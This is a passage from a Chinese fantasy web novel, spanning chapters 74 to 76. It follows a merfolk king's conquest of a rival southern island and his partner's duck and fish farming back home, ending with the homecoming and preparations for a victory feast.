海族挥着武器迎面而上,满腔的恨意化为战意,一刀削断了契的爪子。 数百海族,契躲得过这个躲不过那个,后路被堵死,兽人们像猫逮耗子似的,一刀一刀隔开他皮肤,放他跑又将他抓回。 海面不停涌动着血沫,命沉默地将手边要下去的人鱼拖回来,巴掌拍在他脑门上。 “你凑什么热闹。” 他又看着水面道:“好了,别在这脏了地方。” 水里的海族红着眼,将遍体鳞伤的契拎起来,手脚捆绑上,扔在了龟族背上。 那龟族一抖,将契抛下去。 人鱼显然已经昏迷,脑袋比胖头鱼还要鼓胀,眼睛肿得都看不见了。 龟兽人道:“别扔我背上,要背你们背。” 其他海洋兽人看看那浑身没几块好肉的人鱼,嘀咕道:“要不直接弄死算了。” 龟兽人不想背,他们也不想。 兽人们看向命祭司。 命淡淡扫过那人鱼,道:“不背就用绳子绑着,挂在水里也一样。王回来还得审问些话。” 海洋兽人们兴致缺缺,将契脖子上套上根长绳子,再往水里一扔。 负责看管的兽人牵着那绳子坐在龟背上,无聊地望着岛上。 “怎么就一个过来?” 其他兽人道:“我们也想知道啊。” 他们这些海洋兽人同样也跟着人鱼训练,练了那么久,却还没用上。他们自己都替自己觉得可惜。 “诶!又来一个!” 这次都不等兽人靠近,他们你争我抢,直接就把那在水中小心翼翼,探头探脑的人鱼给抓住了。 “救、救命!” “我们命祭司好着呢!”海兽人一巴掌拍在人鱼脑门,力道大了,弄得他两眼发晕。 “诶?他刚刚是直接从岛上下来的?” “没看见啊。” 兽人们露出水面,寻着他过来的方向一看,不就是北边的那座山。 “说,你从哪里来的!” 人鱼刚刚清醒,又被一巴掌抡过来。他支支吾吾不敢说话,兽人们将刀压在他脖子上,“不说,那你就得死了。” 人鱼闭上眼睛猛地往刀口上一撞。 海洋兽人直接将他掀翻,“还是个有血性的。” “告诉祭司。” “告诉祭司!” 海洋兽人们拎着那人鱼爬上龟背,甩在祭司面前。 “祭司,这个兽人可疑。我们问他从哪里下来的他宁愿往我们刀口上撞都不说。” 命看着那兽人,缓缓道:“无非就是现在那岛上的人鱼藏身的地方。” 果然,兽人一震,深深地埋下头去。 “那我们岂不是可以顺着那条路找去!” 命祭司沉吟一会儿,道:“你们该做什么做什么,我去看看。” “您去?可是要治疗他们。” 命:“治得差不多了。” 而且现在送来的伤员少了,这地方也不只命一个会医。 他既然做了决定,便点了几个兽人,又带上一只食人鹰,示意那人鱼带路。 那被绑的人鱼梗着脖子道:“我死也不会告诉你们的!” 命看着他的脸道:“你还有个阿爸,一个弟弟活着。” 兽人惊惧,直直望着命。 命道:“带路吧。没准儿我还能保他们一命。” 人鱼垂头,腮帮子咬得发颤。兽人们忍不住催促,命却摆了摆手。 不愿也没关系。 他望着那座山,这兽人能被派出来找出路,说明岛上的人鱼已经处于困境中,不得不逃。 他看着天边依稀的微光,快天亮了。 算算这会儿,南部跟中部应该都已经解决,那就剩下最后的北部。 北部王宫背山,兽人们不往海里跑就往山里跑。那一定就是在山中。 他坐下来,淡淡道:“不去也行,反正都得死。” “我去!”人鱼道。 命打了个哈欠,道:“我困了,不想去了。” “我去、我去!”人鱼没那么健壮,个头偏小,黎明微光映照在他脸上,看着凄惶。 命:“你们去吧,我不去。” 金红破海,阳光映照出水面上的海洋兽人,密密麻麻,数以万计。 从龟背上站起来的人鱼看到如此模样,吓得腿一软,直直摔在海中。 又忽然对上那被绳子套着,沉在水中浮动,伤口泡得泛白甚至还有小鱼进食的契。 他愣住,紧接着惊恐地挣扎着蹬腿儿,不停往后。 “胆子这么小,还敢出来探路。”后头的海洋兽人用刀尖戳了戳他的背,“赶紧走,别耽搁。” 这边,人鱼带着几个海洋兽人沿着小路以及各种地道、溶洞往山上走。 休息了一整晚的兽人们美滋滋地吃过早饭,整理装备,站得整整齐齐听候烬的吩咐。 烬:“虎奔,位置。” 虎奔刚驾着食人鹰上山一趟,据山上蹲守一晚的兽人道,昨晚山上的队伍起了争执,分做三部分。 一部分沿西侧悄悄下山,一部分沿北侧下山,还有一部分原地不动。 “西侧队伍已至密林中躲藏,离海岸有半天的距离。大多都是熊、狼兽人。北侧下山的兽人还在半山腰,其中有人鱼王,多半打算今晚入海。留守山洞的是他们的祭司,还有约五百兽人。” 秋听完,抱着自己武器道:“这南部人鱼国挺不团结的啊。” 换做是他们,遇到危险也是先保幼崽跟祭司。王是部落首领,肯定是要战斗到底的,哪能跑啊。 烬:“秋,你带一队兽人上山。翼族、犬族跟着。奔,你往西。鹰族、虎族跟着。其他兽人跟我往北。” “是!” 南部因为是食人鹰队伍,兽人们早早过来汇合。 中部的兽人还在从南至北,一一扫荡。今早过来汇合的只是少部分。 翻山越岭不适合人鱼一族,翼族与犬族、猫族最好。 兽人就此再分散,烬往北追袭。下午时到了地方后,让兽人们修整,打算守株待兔。 而西部虎奔带领食人鹰队伍,鹰族部落、虎族部落的兽人同样静守。 山上,几个海洋兽人带着人鱼一路往北。 中午啃过干粮,到下午,渐渐进入洞中。 这隧道悠长,有开凿过的痕迹,但一大半是天然的。 没想到还有这么个好地方,这些兽人藏得紧啊。要不是他们在海上围着,怕是都跑没了。 山洞里,祭司盘坐在兽皮上,手上的短木棍换成了龟甲。他不停地占卜,看得山中其他兽人都拿不定主意。 “祭司,咱们真这么等下去?” “等。” “可是他们都把食物带走了。” 祭司:“那是死路。” “可兽人守在下面,他们迟早要找上来的。难不成我们就只能饿死在这里?” 祭司缓缓侧过头,静静看上那说话的人鱼一眼。那双眼皮坠着的苍老面上,眼神浑浊,幽冷得兽人一哆嗦。 他飞快低下头,不敢再问。 老祭司却缓缓看过这洞里的兽人,道:“找到又怎么样,难道他真的会动手。” “老东西,谁说我们不会动手!”秋忽然探个头,抓着长枪直冲老祭司而去。 人鱼们惊叫。 “放哨的怎么没提醒!” 秋笑道:“因为你爷爷我的早把他们弄死了。” “啊啊啊!!!”犬族部落、翼族部落的兽人涌进来,直接与洞中人鱼打起来。 留在洞中的人鱼都是祭司的拥护者,绝对相信老祭司的话。可是当被利器捅进了肚子,他们吐着献血缓缓看向一旁的老祭司,他却抓了两个幼崽放在身前。 兽人们惊怒,却脑袋一歪,死不瞑目。 原来、原来他打的是这个主意…… “老东西,居然想得出来!”秋一枪拍在老祭司的背上,只按着他趴着起不来。 来的三队兽人几下将能打的人鱼杀掉,堪堪百来数。看到剩下的兽人,面上都有些异样。 “虎奔不是说上面有五百兽人!”犬族部落的野怒道。 老祭司趴在地上,嘶哑着声音直笑。 “岛上的幼崽大多都在这里了。你们敢杀吗?我是他们的祭司,如果我也死了,你猜他们长大了会不会帮我……”他看着地上那些死了的兽人,笑道,“还有帮他们的阿爸阿父报仇啊?” “你!”秋重重往下一压。 那些幼崽小的才会走路,睁着一双懵懂的眼睛看着这一切。大的也不过十来岁出头,目光仇恨,却又惧怕蜷缩在洞口。 老祭司张着嘴,急促地喘气。他抓着地面,高高地抬起头道:“我要见命。” “我要见命!” 秋憋屈地往他脑袋上一拍,直撞得他脸贴在地,唇上都破了。 洞内深处,几个海洋兽人探听到熟悉的声音,推攘着人鱼出去,兴奋道:“抓到了!” “你们怎么……”秋转头,他盯着那被绑起来的人鱼,笑了笑,“哦,看来探路的人鱼被抓了。” “祭司呢?”老兽人问。 海洋兽人顺嘴道:“祭司没来。” 他们好奇地看着地上趴着的老兽人,“他是谁?” “他为什么不来,他怎么敢不来!他看不起我吗!”老兽人发狂,头发乱糟糟的,赤红的双目连后头的幼崽看了都惧怕不已。 幼崽六神无主,纷纷细声哭着,不敢动。 海洋兽人见这么多幼崽,呆了呆。 “不是,这上面就藏着幼崽?” “还有呢?”那被绑着的人鱼左右寻找,“其他兽人呢?” 他这是被抛弃了吗? 他们怎么能扔下他就走了! 大一些幼崽被他逼到墙角,哭道:“他们走了。” 海洋兽人撞了下翼族的追,道:“这可怎么办的?” 追:“我也不知道。” 秋烦躁得很,明明想抓住几个头头立大功,没想到除了祭司这个老头儿,全是他用来挡枪的幼崽。 秋道:“全部带走。” “你们怎么上来的?” “走那边啊。”海洋兽人指着山洞深处道。 秋深吸一口气,他爷爷的,全是些幼崽,带回去能顶什么用。 “走!” 老祭司被捆了起来,幼崽大的背着小的,沿着海洋兽人上来的位置往下走。 秋让翼族兽人去给烬报信,也跟着进了山洞。 此时,秋带着兽人下山。 而昨晚早沿着这条路下到半山腰的人鱼王及兽人还藏在某处隐秘位置,呼呼大睡。 他们熬了半夜商量法子,后半夜又下山。再熬下去,实在撑不住。 几个海洋兽人上来没遇到他们,只是因为他们藏得严实。 秋往下,烬也带着人鱼们到了山脚。 翼族盘旋山中,飞过一圈,落在烬的身边。 他说了几句,烬看着半山腰点点头。 “上山。” 秋那边人多,下来动静太大,势必会引起那一方的注意。他带的兽人虽擅长爬山,但真打起来,全是人鱼的敌方肯定更胜一筹。 * “王!祭司他们也从山上下来了。”岛上的兽人站在树上,远远看着树丛里那发白头发的老兽人。 “不对!”人鱼飞速下树,匆匆滑入斜坡,落在一处沟壑。 “王,烬他们肯定上山了。祭司把幼崽也带下来了。” 南部人鱼王忽然坐起,“你说祭司下来了?” “是。” “不可能!”他昨晚说什么,那老不死的都不愿意下山,怎么现在又下来了。 不会,烬真的已经进山了! “走!” “嘿嘿,走哪儿去啊!”秋一枪拨开树丛,盯着人鱼王就来。 顿时,两边兽人对上,跑是不行了,只能打。 人鱼王带的人鱼起码一千,是当初该契所管的那些兽人战士。他们个个身强体壮,秋只扫过人鱼王,就被他们拦了过去。 兽人厮杀,半山腰上树丛摇晃。 烬看准了位置,包抄上去。 两边人鱼迎面对上,刚刚还得意的人鱼王倏尔被烬盯上,他咽了咽口水,心里慌张。 烬随手砍过迎面的人鱼,目光深黑泛红,盯着他而去。 南部的人鱼王见势不对,就要跑。 王国这方的兽人将他拦住,他夺过武器,劈脸就砍。烬静看着他挣扎。 在他面前,也就只有先头的茯能抗衡,这没在厮杀中成长起来的人鱼就是个只会跑的废物。 翼族在天空配合,人鱼族一路劈砍,犬族辅助,残肢断臂铺满深涧。 人鱼本同是一族,但早年分做两脉,行事不同,理念不一。烬看着这些在环洲作恶多年的人鱼,毫不手软地收割掉他们的性命。 而作为助力的其他兽人,看到抓了他们族人做奴隶的罪魁祸首,一样杀红了眼睛。 红日高高升起,映亮了这方血气冲天的半山腰。 与其同时,西边队伍也偷袭成功,狼嚎呼啸,鹰啼熊鸣,皆是激烈不已。 混乱中,岛上的兽人步步被逼退,眼见打不过毫不犹豫就跑。 而岛上的人鱼王、祭司,也同样是其中的一员。 兽人被杀尽一半,开始在山里跟他们躲起了猫猫。 秋烦躁地啧了声,无奈看着烬。 “王,这怎么追?” 烬收了武器,刀刃落下一滴血。他看着那些跑不掉的幼崽,缓缓往前走了几步。 幼崽已经吓傻了。 烬:“带他们去祭司那里。” “王,咱还得帮他们养幼崽啊?” “当然是他们自己养。”烬想到自家伴侣做的那些事,一个念头一闪,“剩下的抓活的。” 烬耳朵一动,问:“西边结束了没有?” “快了。”一个鹰族的兽人从上空落下,“王,那边也跑了兽人。” 烬:“一样,都抓活的。让海兽人缩小包围圈。其余兽人,搜山!” “是!” 第75章 第 75 章 回来了 距离烬离开已经半个月, 新的养殖场已经建起来了。 大半鸭苗被运送过去,下蛋的种鸭留了两百只,已经长成的前几批野鸭可以杀了。 加上六大部落送来的鸭子,凑足了两千只。 白争争惦记着还没回来的烬, 便想把这些野鸭送过去。他便找菱问了问。 菱在忙着操持王国里的事情, 他哥成日带着幼崽跟着他。 这会儿刚好中午, 正等着吃饭的时候。 白争争将杀野鸭的事一问, 菱道:“正好, 王国要再送一批粮食过去。杀了风干就一起送了。” 白争争:“烬他们那边怎么样了?” 菱:“你安心, 烬好着呢。就是那边兽人往山里躲, 需要清理干净他们才能回。” “不说他们, 争争,你那鱼养得怎么样,要不要帮忙?” 白争争沉默着摇头。 哪里用得着帮忙,自从他回来养鱼之后,灿又将他可以教兽人养鱼的话一说, 现在不用他去, 其他部落的兽人就争相把活儿干完了。 连原先菱派过去的灿现在就跟甩手掌柜一样, 坐看着兽人们献殷勤。 白争争被搞得压力大,不得不加把劲儿,看着鱼的同时敦促着兽人把饲料搞出来。 这样鱼儿长得快,也能给兽人们供一批肉回来。 菱看他情绪有些低落,伸手招了招自家小崽子。 安抬头看了他阿爸一眼,爬着过来,背靠着他阿爸的腿坐着。 菱将他捞起,往白争争怀里一放,白争争下意识搂住, 看向菱。 菱弯了弯眼,见一大一小眉眼似乎还有点相像。 他道:“我听海里放牧那群人鱼说,大扁鱼好养,只用将它们赶到一个地方就可以待上很久。他们还在那些地方捕捞了不少大的鱼群。你这个主意很不错。” 白争争下巴挨着幼崽没几根毛的脑袋,“我就提了一嘴,也得他们自己去试了才可以。” 菱:“你也别愁了,烬最多再半个月就能回来。” 白争争贴着香香软软的幼崽,叹道:“还有半个月啊。” 菱:“你可不知道南部又多远,他们全速过去都得十天。” 白争争恹恹道:“我还是养鱼吧。” 鹤道:“有空也去看看阿爸他们。” “知道了哥。” 下午,白争争在城堡休息一会儿就去了后山。 养殖场这边,兽人们正在搬运东西。 鸭苗装笼,象宝叫了族中其他象兽人过来帮忙运送过去。 这地方依旧养鸭,不过数量少些,白争争打算以后专门用来繁育鸭苗。 而鸭苗也不止他们自己养,还可以提供给想养的部落。这样家家户户的牲畜养起来,以后每天能收几个蛋,也能不缺肉吃。 兽人们在搬鸭苗的时候,白争争赶紧带着林猫以及空闲着的兽人一起杀鸭子。 就跟那流水线一样,几个兽人负责放血,几个负责拔毛,几个负责破肚。 连幼崽都被白争争招来干活儿。 那野鸭毛收集起来清洗晒干,冬日里还能做些轻薄保暖的衣服穿。 至于内脏,处理太麻烦了,白争争干脆来卖。 就卖个几个银币,兽人要的话自己来拿。不过得自己处理,白争争这边最多教一教怎么吃。 蚊子再小也是肉,何况这么便宜的肉。 王国里的兽人一时间纷纷涌上后山,有来买内脏的,也有看到那么多的鸭肉走不动道想直接买鸭肉的。 清刚跟菱派过来的兽人把架子搭好,处理干净的野鸭挂了一排一排。 有熏鸭、腌制的咸鸭、还有直接烘干的鸭干儿…… 那味道香得兽人们频频咽口水,眼睛就看着那几个比人还高的大架子,眼神发直。 “真不卖吗争争?” 兽人们将白争争围住,说几句就得咽一咽口水。 没办法,王国虽然粮食不缺,但肉格外缺。 就连那些虎族、狼族的大部落,也不是天天顿顿能吃上肉的。 一下这么多的肉摆在面前,是个兽人都忍不住。 白争争道:“这一批不行,要送去给战士们。或许你们可以问问六大部落,他们养的鸭子也该出栏了。” “问了啊,怎么没问。他们那些自己都不够吃,抠抠搜搜的,还让我们找你呢。” 白争争:“这一批真没办法。” 兽人们又蹲在那架子边眼巴巴地看啊,那肥肥的大鸭腿儿,满是肉的鸭脯……兽人们就指着熏鸭的几个兽人心软一下,撕下一个鸭腿儿给他们吃又怎么样呢? 白争争见到那排排蹲守在架子跟前的兽人,无奈又好笑。 他是真没多的,不然早卖了。 他道:“或许你们可以试试自己养。” “什么自己养?” “我们也可以养?”兽人鸭子也不盯了,围过来,目光灿亮看着白争争。 白争争道:“我打算售卖鸭苗,不过数量有限。” “多少银币一只?” “我买十只!” 出价的兽人被推攘了下,“我们都想买,你着什么急。” “可争争,我们不会养啊。” 白争争道:“不难,我们能提供养殖手册。” “手册有什么用?我们看不懂啊。” “有图画。” 白争争转头想找个幼崽帮忙,雁就进屋里拿了出来。 白争争想着小家伙都是熟练工了,干脆让她给大家带到一边去,好好介绍一番。 雁下巴一点,后头肉跟芽两个小跟班跟上,一起领着半信半疑的围观兽人们离开。 面前好歹空了出来,兽人们抓紧干活儿,杀鸭子。 * 新的养殖场跟这边的构造差不多,养殖场、火炕屋、厨房,以及兽人们睡觉的房间,不过规模是这边的三四倍大小。 白争争将鹿花先派过去,又招来些兽人让他先带着养。原本后山养殖场的人员几乎不需要变动。 为了鹿花省点劲儿,白争争杀完鸭子也过去帮忙。 这边离得北部角兽的养殖场近,白争争就两边来往。 经过半年多的养殖,角兽族群将山脚原本就有的角兽族群融合了。 加上今年新生的十多头幼崽,角兽群壮大了些。 虽不到百头,但六七十头奔跑起来也颇为壮观。可惜,数量还是少,不能杀。 等到新的野鸭养殖场落定,事情步入正轨之后,白争争又才抽出空去看鱼苗。 而这时,先前处理出来的那两千只野鸭已经送上路了。 路过城堡时,白争争叫上住在附近的龟鸣一起。 幼崽们也跟着白争争。 没走多远,就被后头的人鱼叫住。 白争争看着那隐在暗处的人鱼半晌,才想起来是饲料的人鱼。 人鱼话少,直接问:“你去西边看鱼?” 白争争点头。 人鱼走出来,拎着个兽皮袋。 “这个是做出来的样品,你拿去试一试。” “你们不去?” “鸭饲料我们还没弄完。” 他潇洒走人,白争争拎着兽皮袋看了眼,里面是干燥的颗粒状东西。 他碾碎了一粒,香喷喷的,有一点点的腥味儿。 幼崽撑着白争争的手臂踮脚,耸动着鼻子来闻。 肉眼睛发亮:“争争,好香啊……” “我看你是想吃。”白争争将手挪开,拎着兽皮袋上了龟鸣的背上。 幼崽紧跟着跳上来,围着白争争要看那饲料。 龟鸣伸长脖子回头看了看,问:“鱼吃的做出来了?” 白争争道:“嗯,他让先试试。” 龟鸣抱怨道:“终于做出来了。你是不知道,他们为了做这个,让我去海里捞了多少次草。” 白争争:“辛苦。” 龟鸣得意:“但我把自己买房子的银币攒出来了。” 给人鱼王国干活当然不是白干,有银币拿的。 白争争听说他要买房子,问:“你不打算回部落了?” “还回去干什么?我们族人都来这里了。连祭司都来了。我阿爸说,等他们回来,就也跟你们一样在这里安定下来。” 白争争道:“第二环岛确实也不怎么样。” 龟鸣听了又不怎么乐意了,“总比你们最外围好。” 白争争:“那不一定。” 雁双手叉腰,骄傲道:“我们那里不缺食物。海里的鱼肉多的是!” 肉:“就是,河滩上全是野鸭窝,捡蛋都随便捡。” 龟鸣不信。 “真的假的,你们那边要是有,还往这里来?” 雁:“我们是来找族人的!” 肉:“还有争争的伴侣!” 白争争笑道:“你要不信,看看去啊。” “那么远,我反正不会去的。但是你……你还回去吗?” 白争争:“或许。” 他现在也不确定,但要说去一趟外围,他还是想去的。 聊着聊着,那布满网箱的大扁鱼养殖地就在眼前了。 现在这边可繁忙了,兽人们天天往这边跑。 不是海洋兽人,又不愿意拿银币请海洋兽人带他们过来的,就各显神通,做了好些渡海的工具。 那网箱旁边就用绳套着木排、小舟,还有直接用树枝交叠做出来的工具。 兽人们甚至在网箱上搭起来棚子,能遮风挡雨,还能在里面做饭。 要不是身上穿着兽皮,看着就是活脱脱的渔民。 白争争一上来,兽人们就笑着欢迎道:“争争来了。快快快,刚钓上来的大鱼,我们才做好呢。” 兽人们都是各个部落派过来的,为了跟白争争学这养鱼的法子。 不过这边灿守着,白争争之前忙其他来得少,兽人们自个儿呆着呆着都熟悉起来。 有的甚至懒得来回走,干脆住在这边了。 白争争看他们跟一大家子似的,兽人中有亚兽人有雄兽人,各个被阳光晒得炭黑。 露出一口白牙,笑得眼睛都看不见。 白争争也笑了下,道:“我吃过了,你们吃。” 兽人们又问了几句,才坐下来开吃。 网箱上被兽人们搭了些木板,更好走了。 且那些网箱的数量还在增加,都是来不了的兽人在岸上出力。 除了去岛上那个时候白争争花费的精力多,论起后续的养殖,兽人们都比他要清楚些。 趁着他们在吃饭,白争争又捞起鱼来瞧一瞧。 长到现在,网箱里的鱼明显大了不少。兽人们每天投喂,比起那些海里放养的都还要大上一指。 白争争将兽皮兜里的饲料拿出来,撒了一点在水面。 幼崽蹲在旁边围观,只见那鱼儿一摆尾,争先恐后涌上来。几下就将那饲料吃得干干净净。 雁道:“它们爱吃。” 白争争:“先用这两个网箱试试。” 白争争只扔了两把饲料下去,就将兽皮袋收好。 吃饭的兽人们一直注意着他动作,看白争争那兽皮袋问:“争争,那是什么?” “饲料。鱼饲料。”龟鸣一脸自豪道,“原料都是我去找的,里面不只有他们喜欢吃的水草,还有紫皮根磨的粉。还有很多乱七八糟的东西。” 白争争把饲料递给他们看,道:“闻着挺香。” “诶。”灿接过来,兽人们都拿过去瞧了瞧。 “王国的紫皮根吃都吃不完,用来做这个不浪费。”兽人喜道。 白争争点点头,随后挨着每个网箱带着幼崽去看看。 像烬说的,大扁鱼确实好养。 但作为厨子的沐说这鱼不好吃,那养殖大扁鱼不会是终点,而是养鱼的起点。 不只是鱼,像海菜、生蚝、龙虾……都可以养。 等第一批大扁鱼出笼,网箱上这几十个兽人有经验了就可以开始养其他。 而白争争并非不教他们养鱼,实则在这期间,他们自己已经在慢慢摸索了。 至于孵化鱼苗,下一批让他们跟着多半就错不了。 * 南部。 兽人们已经在山上搜寻了五天。 而海里的兽人们不断将包围圈缩小,最外层的海洋兽人依旧驻守海中不动。 渐渐的,搜罗出来的人鱼越来越多。 后头食物消耗得差不多,王国那边又送来一批。烬吃到嘴里的鸭子,才恍然觉得,在岛上耽搁的时间太久了。 他不再让兽人们有所保留,全力以赴搜山。 被逼到绝路的南部人鱼们藏无可藏,即便能成功跑到海里去,也是撞在了海洋兽人的枪口上。 一连搜岛半个月后,岛上的兽人终于被找出来个干净。 南部的人鱼王宫里,被抓到的兽人捆在一起,一串一串地往他们自己的牢里带。 人鱼王也在其中,躲在山里半个月,蓬头垢面像个野人。但躲藏期间,也有人鱼为他找食物,伺候得他妥妥帖帖。 虽看着狼狈,仍旧中气十足。 被这样绑着,露在一众族人前,他挣扎道:“烬!你赶紧放开我!你放开我!” 秋被他吵了一路了,吵得烦,耳朵里塞着点虎奔给的自己的兽毛。 他见人鱼往扭来扭曲,用长枪戳了下。 人鱼王尖叫道:“烬!让你该死的下属把武器拿开!你放开我!” 秋不管他,目光落到他身后的老兽人身上。 南部的人鱼祭司年迈,是个气质有些阴森的老头儿。自从被抓到之后,他就一直嚷嚷着要见命。 就这会儿,都没力气抬脚了,还在低低地念叨着要见他们祭司。 秋纳闷,就凑过去问烬。 烬道:“人鱼一族的祭司从来都是一脉,他算起来,应该是命的爷爷。” “嗯?!”兽人们震惊。 烬:“不是亲爷爷。” “所以呢,他想跟咱们祭司攀关系,让咱们放过他?” “不是。”兽人们闻声转头,当事人来了。 命早上了岸,管着后头秋带过来的那些幼崽。 他看都不看冲着他扑过来的老祭司,嘴角一勾,道:“他就是个叛徒,也算不得我们一脉的兽人。” “命!命我不是不如你!”老祭司瞳孔剧烈颤抖,像中了毒似的,可没挨到命祭司一点,又被抓住。 他吼叫着,拼了命地挣扎。 看着被人鱼尊敬,拥护的兽人,老祭司心里积压了多年的愤恨与不甘依旧难消。 “哦~我想起来了!”秋拍了拍手道,“咱换祭司的时候是不是有几个候选人来着?” 命:“嗯。” “当时还闹得挺大,上一代祭司本来要选他的,但当时命出生了,结果就变成了命。” “他一个幼崽,凭什么!凭什么一出生替代了为王国尽力几十年的我!” 秋看着他那疯模样,唏嘘道:“也是,换我我也不平。” 命扫他一眼。 秋嘿嘿笑着,谄媚道:“但是!但是我觉得咱祭司是最好的,咱们上一任祭司也英明。” “这老兽人都一百多岁了吧。” 命点评:“能力不行,但活得挺久。” 命说完这话,老兽人更癫了。 张着嘴巴呼吸声极大,像喘不过气来。 秋默默闭嘴,往烬身边挪了挪。不愧是祭司,一张嘴都能把人家气死了。 烬道:“行了,别耽搁。让兽人们收拾东西,修整一晚,明日回程。” 还要留下一部分兽人在这里看守这些人鱼。 现在岛收拾出来了,周边温暖,渔获也多,烬打算让他家伴侣过来看看适不适合养鱼。 要可以,就让这些人鱼当劳力。 而他们的幼崽就靠着他们干活换粮食。舒坦了这么多年,也好多动动,松一松筋骨。 养出来的鱼供给王国,一举两得。 * 来时兽人们都偷偷摸摸,回去却阵仗不小。 天上飞的,水里游的,乌压压一群往王国涌去。兽人们乍一眼看到,还以为那片海上起风暴了。 但随着“风暴”近了,兽人们将站在前头的烬给认了出来。 “王回来了?” “王怎么带这么多兽人回来?” “看看,那不是之前过来的第二环岛的兽人吗?!” 兽人们一个个都还搞不清状况呢,早得知消息的菱带着人鱼们赶了过来。 兽人们喜欢看热闹。 一见菱也出来了,占据优势位置的兽人就不走了。他们倒要看看是怎么一回事儿。 而林猫兽人们听到烬回来的消息时,心里一轻,希赶紧道:“照,快去找争争。” “阿爸,我知道了!”自家崽子从门口飞蹿过去,后面带着一群幼崽往城门口跑。 人渐渐聚集起来,照顿时将幼崽一挡,守在屋子里的兽人将他们挨个儿拉进来。 “族长,我们也看!” “现在不去,人多,踩到你们。”照摸摸幼崽脑袋上。 白争争一路狂奔,到了岸边都是乌压压的人头。 白争争一心垫着脚往前看,正打算挤进去,忽然旁边有个好心兽人帮他挡开人群。 他说了声谢谢,着急钻到前头去。 海面上全是兽人,天空都被几个飞行部落的兽人遮得阴沉沉的。 白争争四处在那巨龟背上找寻,又看天上的食人鹰。 “哪儿呢?”他左瞧右瞧怎么没有。 边上忽然一声低笑。 白争争一转头,惊喜发现他的伴侣就在他的身边。 “烬!”白争争直接跳到他身上,露出傻笑来,“你回来啦!” 烬拍了两下他的背,“回来了。” 周围起哄声四起,白争争扫过一圈,才发现兽人们都一脸八卦地盯着他。几百双眼睛盯着,他一羞,脑袋抵在烬的脖子上。 兽人们善意哄闹:“王跟伴侣的感情真好!” “传闻是假的!” “什么传闻?” “就是王跟伴侣分居啊?” “都多久的事儿了,早辟谣了。你落后了兄弟。” 兽人们喜气洋洋,又见大部队到了眼前,欢呼道:“好多兽人啊!” 菱这才高声道:“欢迎战士们归来!从今往后,南部岛归王国所有,所有兽人可以自由来往南部海面!” “什么?” “等一下,等一下,我听到了什么?” 兽人们没反应过来,什么南部归王国,那不是跟他们打了很多年的…… “真去打仗了啊!” “还赢了!” “还赢了!!!”兽人们被巨大的惊喜砸在脑子上,只觉脑子里嗡嗡的响。 反应过来,海边呼声如浪,更有甚的,喜极而泣。 兽人战士们还没有上岛,就有兽人直接跳下海对他们表示欢迎。 海洋兽人吓得赶紧将他们拱上去。 但他们也笑着,傻兮兮的,一点都没有在南部岛上的凶恶样子。 王国的兽人在迎接战士。 人群中,烬抱着自己的伴侣,忍不住喜爱,亲了下他的脸,随后缓缓退去。 第76章 第 76 章 庆功宴 白争争满眼都是烬, 虽然分别也没多久,但思念汹涌澎湃。 他挂在烬身上,摸摸他的脸,又抓着他的衣领, 从里头往下去。 烬也不躲, 额头挨着自家伴侣, 温声道:“没受伤。” 白争争:“一点都没有?” 看过了前面, 他又攀得高些, 看烬的后面。要不是现在还在外面, 他能把烬身上的所有兽皮扒了看。 烬:“一点没有。” 白争争停下动作, 看着他温柔的眼睛, 鼻尖一酸,眼眶就止不住红了。 烬:“我回来了,没事。” 白争争一下趴在他肩膀,要不是烬力气大,还托不住他。 “担心死我了!” 大街上全是兽人, 都听说王国跟南部打了一架, 不单单是以前的小打小闹, 而是把那边给灭了。 这可把兽人们激动得,全城都涌了出来。 烬本想带着白争争去看看林猫,但无奈路上实在太多兽人,只好先走兽人少的路,先回城堡。 海岸边,秋作为护卫队的队长,此时颇为神气。 就站在龟背上,听着兽人们的赞美,笑得合不拢嘴。 菱看了眼, 笑了两声。 还要安排这几千兽人的庆功宴,菱忙着呢,他隐入人群,转身就往城堡去。 这会儿离晚上还早,菱将城堡的所有兽人都动起来了。人手不够,还问六大部落借了些兽人来帮忙做饭。 兽人们杀鸡宰鸭,那远海里捕捞回来的大鱼毫不吝啬地全拿出来。 烬不在,菱也走了,秋就是兽人们的领导。 可在岸边嘚瑟一阵,兽人们早把这里围得水泄不通。他们想上去,都得吆喝好一阵。 秋急得额头都冒汗,下到岸边也被兽人们东拉西扯的,好不狼狈。 等他安排好兽人们上岸,又将他们分散安顿,秋累得抱着柱子只差吐着舌头喘气。 “还是王英明,见人多了就跑。” * 烬带着白争争回到城堡,抱了伴侣一会儿,也不得闲。 回来的战士们不仅有王国的,还有第二环岛的。外面打这一战,不是没有兽人死亡,伤者则更多了。 作为人鱼王国的王,烬需要去安抚一下那些战士所在的部落,给予他们补偿。 还有之前允诺他们的那些要求,现在也得兑现了。 兽人们要的也简单,开放王国,让外面的部落也能定居。 他们不要求烬给他们分土地分房子,只要他答应开放。房子这些问题他们一个部落齐心协力,自己也能解决。 烬召集各部落兽人来城堡商议,白争争黏着他走了几步,最后看到菱房门口探出的小脑袋,眼神就被他勾了去。 “小安安,你阿爸呢?” 小家伙像才睡醒,揉着眼睛,腮帮子上还有兽皮压出来的红印。 兽人幼崽都长得快,小不点刚出生那会儿要他阿爸抱着,现在都能自己到处爬了。 不过小尾巴胖胖短短的,一个人蛄蛹着也有些费劲儿。 白争争看幼崽冲着他张开手,俯身将他抱起。 软乎乎的小手勾着他脖子,另一只手往外面指着。 白争争眯着眼睛贴上他软乎乎的小脸,“找阿爸?” 幼崽眼睛眨巴,不明白他为什么不动。 又指了指,小尾巴着急地动了动。 “醒了。”鹤从外面回来,幼崽一看见他,就侧着身子要他抱。 白争争幽怨看他哥,送过去,边问:“菱呢?” 鹤单手接过幼崽,看他窝在怀里,稀罕地摸了摸小脑袋。只抽空回自家弟弟一句:“外面忙呢。要给兽人战士庆功,在监督兽人清扫街道。” 城堡地儿不够大,前面广场即便摆完也坐不下那么多的兽人。所以连带广场前一整条宽阔的街都空置出来用。 这会儿外面摆摊的兽人也不摆了,急忙收拾了东西回去,看那欢欢喜喜的样子,晚上这一场宴席有得热闹。 白争争戳了戳幼崽手臂,见他看自己一眼,又趴回去。 理都不理他一下。 白争争叹道:“算了,我还是找你阿爸去。” 幼崽闻言抬头,伸手过来。 白争争看着他哥嘿嘿一笑。 鹤:“阿爸在忙,阿父带你去。” 幼崽利落收回手,鹤离开,徒留白争争伸手站在原地。 * 王国的厨房极大,沐连带着一众能做饭的兽人全给菱拉来干活儿了。 打铁的那些兽人忙了那么久,空闲下来就打打农具跟厨具,这会儿也在这儿烧火。 厨房里切菜的声音笃笃响,兽人们聊着天。 一直忙到晚上,城堡前的广场跟那一整条街道上都点起灯。 